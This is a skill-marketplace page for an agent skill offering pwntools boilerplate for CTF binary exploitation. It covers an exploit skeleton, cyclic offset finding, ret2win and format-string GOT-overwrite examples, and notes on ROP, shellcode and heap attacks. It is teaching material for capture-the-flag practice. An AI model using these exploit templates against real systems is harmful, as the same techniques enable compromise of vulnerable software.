# Ctf Pwntools Boilerplate

> Pwntools exploit boilerplate for CTF binary exploitation. Provides ready-to-use templates for remote/local process interaction, ROP chain construction, format string attacks, shellcode generation, and interactive shell management. Use when writing binary exploits, when connecting to challenge services with pwntools, when building ROP chains, when exploiting format string vulnerabilities, or when automating pwn challenge solves.

- Skill: `zebbern/ctf-pwntools-boilerplate` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add zebbern/ctf-pwntools-boilerplate`
- Raw SKILL.md: https://api.skillmd.com/api/skills/zebbern/ctf-pwntools-boilerplate/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: zebbern (https://skillmd.com/u/zebbern)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/zebbern/ctf-pwntools-boilerplate

---


# ctf-pwntools-boilerplate

## When to Use

- Writing a binary exploitation script for a CTF challenge
- Connecting to a remote challenge service via TCP
- Building a ROP chain to bypass NX/DEP
- Exploiting a format string vulnerability for arbitrary read/write
- Crafting shellcode for shellcode injection challenges
- Automating interaction with a challenge binary (local or remote)
- Leaking libc addresses for ret2libc or one_gadget attacks
- Exploiting heap vulnerabilities (use-after-free, double free, tcache poisoning)
- Debugging an exploit locally before targeting remote

## Quick Start

```python
from pwn import *

# Local binary
p = process('./challenge')

# Remote service
p = remote('challenge.ctf.com', 1337)

# Send payload + get flag
p.sendline(b'A' * 64 + p64(0xdeadbeef))
p.interactive()
```

## Exploit Template — Standard Skeleton

Every pwntools exploit should follow this structure:

```python
#!/usr/bin/env python3
from pwn import *

# === Configuration ===
BINARY = './challenge'
HOST = 'challenge.ctf.com'
PORT = 1337

elf = ELF(BINARY)
context.binary = elf
context.log_level = 'info'  # 'debug' for full I/O trace

# Libc (if needed)
# libc = ELF('./libc.so.6')

def conn():
    """Switch between local and remote."""
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(BINARY)

# === Exploit ===
def exploit():
    p = conn()

    # --- Stage 1: Leak ---
    # p.sendlineafter(b'> ', b'1')
    # leak = u64(p.recv(6).ljust(8, b'\x00'))
    # log.success(f'Leak: {hex(leak)}')

    # --- Stage 2: Payload ---
    offset = 64  # Offset to return address (find with cyclic)
    payload = flat(
        b'A' * offset,
        # p64(rop_gadget),
        # p64(target_function),
    )
    p.sendline(payload)

    # --- Stage 3: Shell ---
    p.interactive()

if __name__ == '__main__':
    exploit()
```

**Usage:** `python3 exploit.py` (local), `python3 exploit.py REMOTE`, `python3 exploit.py GDB`

## Finding the Offset

```python
from pwn import *
p = process('./challenge')
p.sendline(cyclic(200))
p.wait()
# Check crash address in dmesg or core dump
# offset = cyclic_find(fault_addr)
```

## Technique Reference Files

Full templates with copy-paste code are in the `references/` directory — loaded on demand, not into context:

| Technique            | Reference File                                               | Key Templates                                                                    |
| -------------------- | ------------------------------------------------------------ | -------------------------------------------------------------------------------- |
| **ROP Chains**       | [references/rop-chains.md](references/rop-chains.md)         | ret2win, ret2libc (leak+system), one_gadget                                      |
| **Format Strings**   | [references/format-strings.md](references/format-strings.md) | Arbitrary read, GOT overwrite, FmtStr auto-detect                                |
| **Shellcode & Heap** | [references/shellcode-heap.md](references/shellcode-heap.md) | execve shellcode, tcache poisoning, interaction patterns, GDB attach, retry loop |

> **Usage**: When you need a specific technique, read the corresponding reference file for the full template.

## Common Pitfalls

- **Stack alignment on x86_64**: Ubuntu requires 16-byte aligned RSP before `system()`. Add a `ret` gadget.
- **Null bytes in payload**: `scanf("%s")` / `gets()` stop at `\x00`. Use ROP or null-free shellcode.
- **PIE enabled**: Leak a code address first, calculate base, then use offsets.
- **RELRO full**: GOT is read-only. Use `__malloc_hook`, `__free_hook` (glibc < 2.34), or ROP.
- **Seccomp/sandbox**: `seccomp-tools dump ./binary` to see allowed syscalls.

## Examples

### ret2win

```python
from pwn import *
elf = ELF('./ret2win')
context.binary = elf
p = process(elf.path)
p.sendlineafter(b'> ', flat(b'A' * 40, elf.symbols['win']))
print(p.recvall().decode())
```

### Format String GOT Overwrite

```python
from pwn import *
elf = ELF('./fmtstr')
context.binary = elf
p = process(elf.path)
payload = fmtstr_payload(6, {elf.got['exit']: elf.sym['win']}, write_size='short')
p.sendline(payload)
p.interactive()
```